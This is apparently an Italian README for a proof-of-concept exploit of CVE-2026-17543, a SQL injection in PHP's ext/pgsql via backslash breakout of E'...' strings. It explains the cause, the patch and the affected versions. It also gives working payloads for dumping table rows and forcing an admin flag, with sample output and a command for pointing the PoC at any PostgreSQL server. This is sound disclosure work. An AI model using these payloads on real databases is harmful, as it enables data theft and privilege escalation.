
Exploit PoC per CVE-2026-17543: SQL injection in PHP ext/pgsql tramite backslash breakout, con payload di esfiltrazione dei dati ed escalation dei privilegi di amministratore per PostgreSQL.
ext/pgsql tramite E'...' Backslash BreakoutProof of concept per CVE-2026-17543 (CVSS 9.8 Critical, CWE-89), una vulnerabilità di SQL injection nell'estensione procedurale PostgreSQL di PHP.
pg_insert(), pg_select(), pg_update(), pg_delete() e pg_convert() instradano tutti i valori stringa attraverso php_pgsql_convert(), che:
PQescapeStringConn() di libpq — che, con standard_conforming_strings = on (impostazione predefinita di PostgreSQL dalla 9.1), raddoppia ' in '' e lascia \ invariato (corretto per un letterale '...' standard).php_pgsql_add_quotes() in una costante di stringa con escape E'...' invece di una semplice '...'.All'interno di E'...', la barra inversa è un carattere di escape, quindi una \ posta prima di una virgoletta vanifica il raddoppio delle virgolette: \' diventa una ' letterale e la seconda virgoletta — inserita dall'escape per essere un letterale raddoppiato — termina ora la stringa prima del previsto. Tutto ciò che segue è SQL grezzo iniettato.
La correzione ufficiale (commit ab048bd83b57) è di un solo carattere: emettere '...' invece di E'...'.
Non interessate: pg_query_params() (binding reale dei parametri) e le prepared statement PDO_PGSQL / PDO::quote() — questi usano percorsi di codice distinti che non chiamano mai php_pgsql_add_quotes().
zzz\' OR 1=1 --
(una barra inversa immediatamente prima della virgoletta singola)
... WHERE "name"=E'zzz\'' OR 1=1 --' → OR 1=1 viene interpretato come SQL → restituisce tutte le righe.... WHERE "name"='zzz\'' OR 1=1 --' → la barra inversa è ordinaria, quindi OR 1=1 -- viene assorbita dentro il letterale di stringa → non corrisponde a nulla.Un secondo payload (eve\', true) --) dimostra l'escalation dei privilegi tramite pg_insert(), forzando una colonna admin a true.
docker compose up --build --abort-on-container-exit
PHP version: 8.4.23
standard_conforming_strings: on
----------------------------------------------------------------------
[1] pg_select() data exfiltration
payload (runtime): zzz\' OR 1=1 --
generated SQL:
SELECT * FROM "users" WHERE "name"=E'zzz\'' OR 1=1 --'
rows returned: 2
[!] INJECTION - leaked every row in the table
[2] pg_insert() privilege escalation
name payload (runtime): eve\', true) --
generated SQL:
INSERT INTO "users" ("name","admin") VALUES (E'eve\'', true) --','f')
inserted row admin flag: 't'
[!] INJECTION - admin column forced to TRUE
Done.
Su una build corretta, l'SQL generato contiene '...' (senza E), [1] riporta rows returned: 0 / no injection e [2] riporta admin flag: 'f'.
Punta PGCONN a qualsiasi PostgreSQL ed esegui con una PHP vulnerabile:
PGCONN="host=127.0.0.1 port=5432 dbname=test user=test password=test" php poc.php
ext/pgsql (--with-pgsql / l'estensione pgsql).standard_conforming_strings = on).docker compose down -v
L'immagine PHP qui utilizzata è, per definizione, non corretta per CVE-2026-17543. Eseguitela solo in un container isolato e usa e getta, e docker compose down -v al termine. Non puntate mai questo PoC a un database a cui tenete.
| Branch | Vulnerabile | Corretta |
|---|
| PHP 8.2 | < 8.2.33 | 8.2.33 |
| PHP 8.3 | < 8.3.33 | 8.3.33 |
| PHP 8.4 | < 8.4.24 | 8.4.24 |
| PHP 8.5 | < 8.5.9 | 8.5.9 |
| File | Descrizione |
|---|
poc.php | Dimostra sia la variante di esfiltrazione dati con pg_select sia quella di escalation dei privilegi con pg_insert; stampa l'SQL generato così il token E'...' è visibile |
Dockerfile | Fissa un'immagine PHP CLI vulnerabile (php:8.4.23-cli) con ext/pgsql |
docker-compose.yml | Avvia PostgreSQL 16 + il container PHP vulnerabile ed esegue poc.php |